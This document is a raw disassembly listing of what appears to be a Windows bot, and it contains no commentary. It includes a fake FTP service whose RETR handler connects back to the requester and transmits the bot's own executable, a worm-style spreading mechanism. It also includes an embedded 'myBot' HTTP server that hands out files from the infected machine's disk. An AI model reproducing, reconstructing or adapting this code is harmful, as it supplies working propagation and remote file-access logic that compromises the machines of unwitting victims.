		jmp	loc_40FA40
; ---------------------------------------------------------------------------

loc_40F786:				; CODE XREF: sub_40F43A+326j
					; sub_40F43A+33Dj
		lea	eax, [ebp+Str1]
		push	offset aType_0	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7C1
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7C1
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40FA40
; ---------------------------------------------------------------------------

loc_40F7C1:				; CODE XREF: sub_40F43A+361j
					; sub_40F43A+378j
		lea	eax, [ebp+Str1]
		push	offset aPasv	; "PASV"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F80F
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+Str]
		rep movsd
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		movsw
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]

loc_40F7FF:				; CODE XREF: sub_40F43A+414j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_40F807:				; CODE XREF: sub_40F43A+4E7j
		mov	edi, [ebp+arg_0]
		jmp	loc_40FA43
; ---------------------------------------------------------------------------

loc_40F80F:				; CODE XREF: sub_40F43A+39Cj
		lea	eax, [ebp+Str1]
		push	offset aList_0	; "LIST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F850
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax		; Str
		movsb
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F7FF
; ---------------------------------------------------------------------------

loc_40F850:				; CODE XREF: sub_40F43A+3EAj
		lea	eax, [ebp+Str1]
		push	offset aPort	; "PORT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F926
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_24	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_atoi
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax		; Str
		call	_atoi
		mov	[ebp+var_C], eax
		push	32h		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 34h
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax		; Dest
		call	_sprintf
		push	10h		; Radix
		lea	eax, [ebp+Dest]
		push	esi		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_40F807
; ---------------------------------------------------------------------------

loc_40F926:				; CODE XREF: sub_40F43A+42Bj
		lea	eax, [ebp+Str1]
		push	offset aRetr	; "RETR"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FA21
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40FA71
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40FA17
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F9A6
		push	esi		; int
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C8]
		push	eax		; Str
		push	[ebp+var_6E0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40F9A6:				; CODE XREF: sub_40F43A+547j
		call	sub_40FAEE
		cmp	eax, 1
		jnz	loc_40FA43
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40FA02
		push	esi		; int
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C8]
		push	eax		; Str
		push	[ebp+var_6E0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40FA02:				; CODE XREF: sub_40F43A+5A3j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_415C77
		inc	dword_4E6D40
		pop	ecx
		jmp	short loc_40FA43
; ---------------------------------------------------------------------------

loc_40FA17:				; CODE XREF: sub_40F43A+523j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40FA40
; ---------------------------------------------------------------------------

loc_40FA21:				; CODE XREF: sub_40F43A+501j
		lea	eax, [ebp+Str1]
		push	offset aQuit_1	; "QUIT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FA43
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_40FA40:				; CODE XREF: sub_40F43A+27Cj
					; sub_40F43A+2A0j ...
		push	edi
		call	ebx	; send

loc_40FA43:				; CODE XREF: sub_40F43A+3D0j
					; sub_40F43A+574j ...
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch

loc_40FA55:				; CODE XREF: sub_40F43A+151j
					; sub_40F43A+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F559
		jmp	loc_40F51E
; ---------------------------------------------------------------------------

loc_40FA67:				; CODE XREF: sub_40F43A+10Fj
		push	1
		pop	eax

loc_40FA6A:				; CODE XREF: sub_40F43A+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F43A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA71	proc near		; CODE XREF: sub_40F43A+519p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4F6540	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_4F6570	; socket
		push	[ebp+arg_0]
		mov	dword_4E6FA0, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4F655C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_4F6560	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4E6FA0
		call	ds:dword_4F6564	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FAE9
		push	dword_4E6FA0
		call	ds:dword_4F656C	; closesocket
		call	ds:dword_4F653C	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40FAE9:				; CODE XREF: sub_40FA71+60j
		push	1
		pop	eax
		leave
		retn
sub_40FA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAEE	proc near		; CODE XREF: sub_40F43A:loc_40F9A6p

DstBuf		= byte ptr -504h
Filename	= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		push	0
		call	ds:dword_4F6378	; GetModuleFileNameA
		lea	eax, [ebp+Filename]
		push	offset aRb	; "rb"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FB85
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FB69
		push	edi
		mov	edi, 400h

loc_40FB31:				; CODE XREF: sub_40FAEE+78j
		push	esi		; File
		push	1		; Count
		lea	eax, [ebp+DstBuf]
		push	edi		; ElementSize
		push	eax		; DstBuf
		call	sub_41EFA0
		add	esp, 10h
		lea	eax, [ebp+DstBuf]
		push	0
		push	edi
		push	eax
		push	dword_4E6FA0
		call	ds:dword_4F6574	; send
		push	1
		call	ds:dword_4F6380	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FB31
		pop	edi

loc_40FB69:				; CODE XREF: sub_40FAEE+3Bj
		push	esi		; File
		call	_fclose
		pop	ecx
		push	dword_4E6FA0
		call	ds:dword_4F656C	; closesocket
		call	ds:dword_4F653C	; WSACleanup
		push	1
		pop	eax

loc_40FB85:				; CODE XREF: sub_40FAEE+35j
		pop	esi
		leave
		retn
sub_40FAEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB88	proc near		; DATA XREF: sub_401CC7+2243o
					; sub_40C165+475o

Str		= byte ptr -28F0h
Str1		= byte ptr -18F0h
Dest		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_14], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_25C]
		call	dword_4E4220	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4E42A0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FF79
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_457134[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E424C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF79
		push	7FFFFFFFh
		push	edi
		call	dword_4E4248	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF79
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4E42BC	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF79
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40FC5F:				; CODE XREF: sub_40FB88+3E7j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4E4208	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF74
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40FC95:				; CODE XREF: sub_40FB88+3E1j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4E410C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FF5F
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FD17
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4E42B4	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF5F
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FCE9
		lea	edx, [ebp+var_134]

loc_40FCDD:				; CODE XREF: sub_40FB88+15Fj
		cmp	[edx], eax
		jz	short loc_40FCE9
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FCDD

loc_40FCE9:				; CODE XREF: sub_40FB88+14Dj
					; sub_40FB88+157j
		cmp	ecx, ebx
		jnz	short loc_40FD06
		cmp	ebx, 40h
		jnb	short loc_40FD06
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40FD06:				; CODE XREF: sub_40FB88+163j
					; sub_40FB88+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FF5F
		mov	[ebp+var_8], eax
		jmp	loc_40FF5F
; ---------------------------------------------------------------------------

loc_40FD17:				; CODE XREF: sub_40FB88+126j
		mov	edi, 1000h
		lea	eax, [ebp+Str]
		push	edi		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4E4238	; recv
		test	eax, eax
		jg	short loc_40FDAA
		push	esi
		call	dword_4E42B8	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FF5F
		lea	eax, [ebp+var_134]

loc_40FD69:				; CODE XREF: sub_40FB88+1EBj
		cmp	[eax], esi
		jz	short loc_40FD7A
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FD69
		jmp	loc_40FF5F
; ---------------------------------------------------------------------------

loc_40FD7A:				; CODE XREF: sub_40FB88+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FD9E
		lea	eax, [ebp+ecx*4+var_134]

loc_40FD88:				; CODE XREF: sub_40FB88+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FD88

loc_40FD9E:				; CODE XREF: sub_40FB88+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FF5F
; ---------------------------------------------------------------------------

loc_40FDAA:				; CODE XREF: sub_40FB88+1C8j
		xor	esi, esi
		push	104h		; Size
		lea	eax, [ebp+var_23C]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Str]
		mov	[ebp+arg_0], esi
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FF5F

loc_40FDD8:				; CODE XREF: sub_40FB88+30Fj
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+Str]
		cmp	al, 0Ah
		mov	[ebp+esi+Str1],	al
		jnz	loc_40FE83
		lea	eax, [ebp+Str1]
		push	offset aGet_0	; "GET "
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FE57
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FE57
		push	offset asc_44B7D0 ; " "
		push	offset asc_44B7D4 ; " "
		lea	eax, [ebp+Str1]
		push	offset aGet_1	; "GET "
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strtok
		push	eax		; Source
		lea	eax, [ebp+var_23C]
		push	eax		; Dest
		call	_strcpy
		add	esp, 10h
		jmp	short loc_40FE6E
; ---------------------------------------------------------------------------

loc_40FE57:				; CODE XREF: sub_40FB88+27Ej
					; sub_40FB88+290j
		lea	eax, [ebp+Str1]
		push	offset asc_44B7E0 ; "\r\n"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FEA2

loc_40FE6E:				; CODE XREF: sub_40FB88+2CDj
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40FE83:				; CODE XREF: sub_40FB88+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+Str]
		push	eax		; Str
		inc	esi
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FDD8
		jmp	loc_40FF5F
; ---------------------------------------------------------------------------

loc_40FEA2:				; CODE XREF: sub_40FB88+2E4j
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FEEC
		lea	eax, [ebp+var_134]

loc_40FEAE:				; CODE XREF: sub_40FB88+333j
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FEBF
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FEAE
		jmp	short loc_40FEEF
; ---------------------------------------------------------------------------

loc_40FEBF:				; CODE XREF: sub_40FB88+32Bj
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FEE3
		lea	eax, [ebp+ecx*4+var_134]

loc_40FECD:				; CODE XREF: sub_40FB88+359j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FECD

loc_40FEE3:				; CODE XREF: sub_40FB88+33Cj
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FEEF
; ---------------------------------------------------------------------------

loc_40FEEC:				; CODE XREF: sub_40FB88+31Ej
		mov	esi, [ebp+var_4]

loc_40FEEF:				; CODE XREF: sub_40FB88+335j
					; sub_40FB88+362j
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FF58
		lea	eax, [ebp+var_360]
		push	eax		; Str
		call	_strlen
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax		; Str
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FF58
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4E42BC	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_41016C
		add	esp, 14h
		jmp	short loc_40FF5F
; ---------------------------------------------------------------------------

loc_40FF58:				; CODE XREF: sub_40FB88+36Fj
					; sub_40FB88+395j
		push	esi
		call	dword_4E42B8	; closesocket

loc_40FF5F:				; CODE XREF: sub_40FB88+11Dj
					; sub_40FB88+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FC95
		jmp	loc_40FC5F
; ---------------------------------------------------------------------------

loc_40FF74:				; CODE XREF: sub_40FB88+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40FF79:				; CODE XREF: sub_40FB88+6Aj
					; sub_40FB88+92j ...
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44B7E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FFBF
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_250]	; int
		push	eax		; int
		lea	eax, [ebp+var_5E8]
		push	eax		; Str
		push	[ebp+var_5EC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40FFBF:				; CODE XREF: sub_40FB88+412j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+var_254]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40FB88	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFE9	proc near		; DATA XREF: sub_41016C+24Do

Str		= byte ptr -1654h
Source		= byte ptr -654h
Dest		= byte ptr -550h
var_44C		= dword	ptr -44Ch
Format		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_41004F
		push	offset aTextHtml ; "text/html"
		jmp	short loc_410054
; ---------------------------------------------------------------------------

loc_41004F:				; CODE XREF: sub_40FFE9+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_410054:				; CODE XREF: sub_40FFE9+64j
		lea	eax, [ebp+var_9C]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_4F640C	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_4F6408	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_4100CD
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	short loc_4100EE
; ---------------------------------------------------------------------------

loc_4100CD:				; CODE XREF: sub_40FFE9+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 28h

loc_4100EE:				; CODE XREF: sub_40FFE9+E2j
		lea	eax, [ebp+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_44C]
		call	dword_4E4270	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_41012E
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+var_44C]
		call	sub_410AA9
		pop	ecx
		pop	ecx
		jmp	short loc_41014B
; ---------------------------------------------------------------------------

loc_41012E:				; CODE XREF: sub_40FFE9+12Dj
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	edi		; int
		push	[ebp+var_44C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	sub_410423
		add	esp, 10h

loc_41014B:				; CODE XREF: sub_40FFE9+143j
		push	[ebp+var_44C]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_B4]
		call	sub_40BAAA
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_40FFE9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41016C	proc near		; CODE XREF: sub_40FB88+3C6p

Source		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
Str		= byte ptr -314h
var_211		= byte ptr -211h
Dst		= byte ptr -210h
Dest		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4101A2
		push	eax
		push	offset aS_25	; "\\%s"
		jmp	short loc_4101AB
; ---------------------------------------------------------------------------

loc_4101A2:				; CODE XREF: sub_41016C+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_26	; "%s"

loc_4101AB:				; CODE XREF: sub_41016C+34j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		xor	esi, esi
		xor	ebx, ebx
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_410246
		mov	[ebp+arg_8], 2

loc_4101D6:				; CODE XREF: sub_41016C+D8j
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_410216
		cmp	[ebp+esi+Dest],	25h
		jnz	short loc_410216
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_410216
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_410216
		inc	esi
		mov	[ebp+ebx+Dst], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410230
; ---------------------------------------------------------------------------

loc_410216:				; CODE XREF: sub_41016C+7Aj
					; sub_41016C+84j ...
		mov	al, [ebp+esi+Dest]
		cmp	al, 2Fh
		jnz	short loc_410226
		push	5Ch
		pop	eax
		jmp	short loc_410229
; ---------------------------------------------------------------------------

loc_410226:				; CODE XREF: sub_41016C+B3j
		movsx	eax, al

loc_410229:				; CODE XREF: sub_41016C+B8j
		mov	[ebp+ebx+Dst], al

loc_410230:				; CODE XREF: sub_41016C+A8j
		lea	eax, [ebp+Dest]
		inc	esi
		inc	[ebp+arg_8]
		push	eax		; Str
		inc	ebx
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_4101D6

loc_410246:				; CODE XREF: sub_41016C+61j
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+arg_4]
		push	offset aSS_4	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	offset asc_44BA30 ; "\n"
		push	eax		; Str
		call	_strtok
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_4F63A0	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_410297
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41029A
		push	[ebp+arg_0]
		jmp	loc_41031A
; ---------------------------------------------------------------------------

loc_410297:				; CODE XREF: sub_41016C+11Cj
		mov	[ebp+var_4], esi

loc_41029A:				; CODE XREF: sub_41016C+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4102A7
		mov	[ebp+var_4], esi

